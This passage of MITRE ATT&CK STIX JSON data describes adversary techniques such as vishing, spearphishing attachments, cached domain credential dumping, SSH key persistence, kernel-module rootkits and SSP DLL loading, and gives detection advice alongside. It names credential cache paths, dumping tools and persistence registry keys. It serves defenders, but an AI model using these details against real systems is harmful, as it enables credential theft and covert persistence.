                    "url": "https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing"
                },
                {
                    "source_name": "BOA Telephone Scams",
                    "description": "Bank of America. (n.d.). How to avoid telephone scams. Retrieved September 8, 2023.",
                    "url": "https://business.bofa.com/en-us/content/what-is-vishing.html"
                }
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            "modified": "2025-04-15T23:11:31.420Z",
            "name": "Spearphishing Voice",
            "description": "Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\n\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff.(Citation: BOA Telephone Scams)\n\nVictims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nAdversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to tailor pretexts to be even more persuasive and believable for the victim.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a",
            "created": "2017-05-31T21:31:18.867Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1108",
                    "external_id": "T1108"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
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            "object_marking_refs": [
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            "modified": "2025-04-25T15:15:40.766Z",
            "name": "Redundant Access",
            "description": "**This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nAdversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. \n\nIf one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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                    "phase_name": "persistence"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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            "x_mitre_deprecated": true,
            "x_mitre_detection": "Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.\n\nIf an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.\n\nFor alternative access using externally accessible VPNs or remote services, follow detection recommendations under [Valid Accounts](https://attack.mitre.org/techniques/T1078) and [External Remote Services](https://attack.mitre.org/techniques/T1133) to collect account use information.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "IaaS",
                "Linux",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1193",
                    "external_id": "T1193"
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                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/163.html",
                    "external_id": "CAPEC-163"
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            "modified": "2025-04-25T15:15:40.954Z",
            "name": "Spearphishing Attachment",
            "description": "Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.",
            "kill_chain_phases": [
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530",
            "created": "2020-02-21T15:42:25.991Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1003/005",
                    "external_id": "T1003.005"
                },
                {
                    "source_name": "PassLib mscache",
                    "description": "Eli Collins. (2016, November 25). Windows' Domain Cached Credentials v2. Retrieved February 21, 2020.",
                    "url": "https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html"
                },
                {
                    "source_name": "ired mscache",
                    "description": "Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking mscash - Cached Domain Credentials. Retrieved February 21, 2020.",
                    "url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials"
                },
                {
                    "source_name": "Microsoft - Cached Creds",
                    "description": "Microsoft. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                },
                {
                    "source_name": "Brining MimiKatz to Unix",
                    "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.",
                    "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"
                }
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            "modified": "2025-04-15T21:55:45.923Z",
            "name": "Cached Domain Credentials",
            "description": "Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nOn Linux systems, Active Directory credentials can be accessed through caches maintained by software like System Security Services Daemon (SSSD) or Quest Authentication Services (formerly VAS). Cached credential hashes are typically located at `/var/lib/sss/db/cache.[domain].ldb` for SSSD or `/var/opt/quest/vas/authcache/vas_auth.vdb` for Quest. Adversaries can use utilities, such as `tdbdump`, on these database files to dump the cached hashes and use [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to obtain the plaintext password.(Citation: Brining MimiKatz to Unix) \n\nWith SYSTEM or sudo access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py for Windows or Linikatz for Linux can be used to extract the cached credentials.(Citation: Brining MimiKatz to Unix)\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Ed Williams, Trustwave, SpiderLabs",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nDetection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux"
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                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4",
            "created": "2020-06-24T12:42:35.144Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1098/004",
                    "external_id": "T1098.004"
                },
                {
                    "source_name": "Venafi SSH Key Abuse",
                    "description": "Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020.",
                    "url": "https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities"
                },
                {
                    "source_name": "Broadcom ESXi SSH",
                    "description": "Broadcom. (2024, December 12). Allowing SSH access to VMware vSphere ESXi/ESX hosts with public/private key authentication. Retrieved March 26, 2025.",
                    "url": "https://knowledge.broadcom.com/external/article/313767/allowing-ssh-access-to-vmware-vsphere-es.html"
                },
                {
                    "source_name": "Google Cloud Privilege Escalation",
                    "description": "Chris Moberly. (2020, February 12). Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments. Retrieved April 1, 2022.",
                    "url": "https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/"
                },
                {
                    "source_name": "cisco_ip_ssh_pubkey_ch_cmd",
                    "description": "Cisco. (2021, August 23). ip ssh pubkey-chain. Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/d1/sec-d1-cr-book/sec-cr-i3.html#wp1254331478"
                },
                {
                    "source_name": "Cybereason Linux Exim Worm",
                    "description": "Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting Linux Exim Server Vulnerability. Retrieved June 24, 2020.",
                    "url": "https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability"
                },
                {
                    "source_name": "Google Cloud Add Metadata",
                    "description": "Google Cloud. (2022, March 31). gcloud compute instances add-metadata. Retrieved April 1, 2022.",
                    "url": "https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata"
                },
                {
                    "source_name": "Azure Update Virtual Machines",
                    "description": "Microsoft. (n.d.). Virtual Machines - Update. Retrieved April 1, 2022.",
                    "url": "https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update"
                },
                {
                    "source_name": "SSH Authorized Keys",
                    "description": "ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020.",
                    "url": "https://www.ssh.com/ssh/authorized_keys/"
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            "name": "SSH Authorized Keys",
            "description": "Adversaries may modify the SSH <code>authorized_keys</code> file to maintain persistence on a victim host. Linux distributions, macOS, and ESXi hypervisors commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The <code>authorized_keys</code> file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <code>&lt;user-home&gt;/.ssh/authorized_keys</code> (or, on ESXi, `/etc/ssh/keys-<username>/authorized_keys`).(Citation: SSH Authorized Keys) Users may edit the system\u2019s SSH config file to modify the directives `PubkeyAuthentication` and `RSAAuthentication` to the value `yes` to ensure public key and RSA authentication are enabled, as well as modify the directive `PermitRootLogin` to the value `yes` to enable root authentication via SSH.(Citation: Broadcom ESXi SSH) The SSH config file is usually located under <code>/etc/ssh/sshd_config</code>.\n\nAdversaries may modify SSH <code>authorized_keys</code> files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI\u2019s \u201cadd-metadata\u201d command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. \n\nSSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)",
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            "id": "attack-pattern--6bc7f9aa-b91f-4b23-84b8-5e756eba68eb",
            "created": "2025-03-27T15:32:17.400Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1673",
                    "external_id": "T1673"
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                {
                    "source_name": "TrendMicro Play",
                    "description": "Cj Arsley Mateo, Darrel Tristan Virtusio, Sarah Pearl Camiling, Andrei Alimboyao, Nathaniel Morales, Jacob Santos, Earl John Bareng. (2024, July 19). Play Ransomware Group\u2019s New Linux Variant Targets ESXi, Shows Ties With Prolific Puma. Retrieved March 26, 2025.",
                    "url": "https://www.trendmicro.com/en_us/research/24/g/new-play-ransomware-linux-variant-targets-esxi-shows-ties-with-p.html"
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                {
                    "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
                    "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
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            "name": "Virtual Machine Discovery",
            "description": "An adversary may attempt to enumerate running virtual machines (VMs) after gaining access to a host or hypervisor. For example, adversaries may enumerate a list of VMs on an ESXi hypervisor using a [Hypervisor CLI](https://attack.mitre.org/techniques/T1059/012) such as `esxcli` or `vim-cmd` (e.g. `esxcli vm process list or vim-cmd vmsvc/getallvms`).(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: TrendMicro Play) Adversaries may also directly leverage a graphical user interface, such as VMware vCenter, in order to view virtual machines on a host. \n\nAdversaries may use the information from [Virtual Machine Discovery](https://attack.mitre.org/techniques/T1673) during discovery to shape follow-on behaviors. Subsequently discovered VMs may be leveraged for follow-on activities such as [Service Stop](https://attack.mitre.org/techniques/T1489) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)",
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Windows",
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1215",
                    "external_id": "T1215"
                },
                {
                    "source_name": "Linux Kernel Programming",
                    "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.",
                    "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"
                },
                {
                    "source_name": "Linux Kernel Module Programming Guide",
                    "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018.",
                    "url": "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html"
                },
                {
                    "source_name": "Volatility Phalanx2",
                    "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.",
                    "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html"
                },
                {
                    "source_name": "CrowdStrike Linux Rootkit",
                    "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
                    "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/"
                },
                {
                    "source_name": "GitHub Reptile",
                    "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.",
                    "url": "https://github.com/f0rb1dd3n/Reptile"
                },
                {
                    "source_name": "GitHub Diamorphine",
                    "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.",
                    "url": "https://github.com/m0nad/Diamorphine"
                },
                {
                    "source_name": "iDefense Rootkit Overview",
                    "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.",
                    "url": "http://www.megasecurity.org/papers/Rootkits.pdf"
                },
                {
                    "source_name": "RSAC 2015 San Francisco Patrick Wardle",
                    "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "Synack Secure Kernel Extension Broken",
                    "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved April 6, 2018.",
                    "url": "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/"
                },
                {
                    "source_name": "Securelist Ventir",
                    "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.",
                    "url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/"
                },
                {
                    "source_name": "Wikipedia Loadable Kernel Module",
                    "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.",
                    "url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux"
                },
                {
                    "source_name": "Linux Loadable Kernel Module Insert and Remove LKMs",
                    "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.",
                    "url": "http://tldp.org/HOWTO/Module-HOWTO/x197.html"
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            "modified": "2025-04-25T15:15:41.330Z",
            "name": "Kernel Modules and Extensions",
            "description": "Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)\u00a0When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide)\u00a0Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)",
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            "x_mitre_detection": "LKMs are typically loaded into <code>/lib/modules</code> and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nMany LKMs require Linux headers (specific to the target kernel) in order to compile properly.\u00a0\nThese are typically obtained through the operating systems package manager and installed like a normal package.\n\nAdversaries will likely run these commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview)\n\nOn Ubuntu and Debian based systems this can be accomplished by running: <code>apt-get install linux-headers-$(uname -r)</code>\n\nOn RHEL and CentOS based systems this can be accomplished by running: <code>yum install kernel-devel-$(uname -r)</code>\n\nLoading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:<code>modprobe insmod lsmod rmmod modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs)\n\nFor macOS, monitor for execution of <code>kextload</code> commands and correlate with other unknown or suspicious activity.",
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
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            "created": "2017-05-31T21:31:13.447Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1101",
                    "external_id": "T1101"
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                {
                    "source_name": "Graeber 2014",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
                },
                {
                    "source_name": "Microsoft Configure LSA",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx"
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            "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)",
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            "x_mitre_detection": "Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413",
            "created": "2020-10-02T16:01:35.350Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1590/006",
                    "external_id": "T1590.006"
                },
                {
                    "source_name": "Nmap Firewalls NIDS",
                    "description": "Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls and Intrusion Detection Systems. Retrieved October 20, 2020.",
                    "url": "https://nmap.org/book/firewalls.html"
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            "modified": "2025-04-15T22:52:16.483Z",
            "name": "Network Security Appliances",
            "description": "Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
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            "type": "attack-pattern",
            "id": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6",
            "created": "2020-01-24T15:05:58.384Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/012",
                    "external_id": "T1546.012"
                },
                {
                    "source_name": "FSecure Hupigon",
                    "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.",
                    "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "Microsoft Silent Process Exit NOV 2017",
                    "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.",
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit"
                },
                {
                    "source_name": "Microsoft GFlags Mar 2017",
                    "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.",
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview"
                },
                {
                    "source_name": "Oddvar Moe IFEO APR 2018",
                    "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.",
                    "url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/"
                },
                {
                    "source_name": "Microsoft Dev Blog IFEO Mar 2010",
                    "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.",
                    "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/"
                },
                {
                    "source_name": "Symantec Ushedix June 2008",
                    "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2"
                },
                {
                    "source_name": "Tilbury 2014",
                    "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20200730053039/https://www.crowdstrike.com/blog/registry-analysis-with-crowdresponse/"
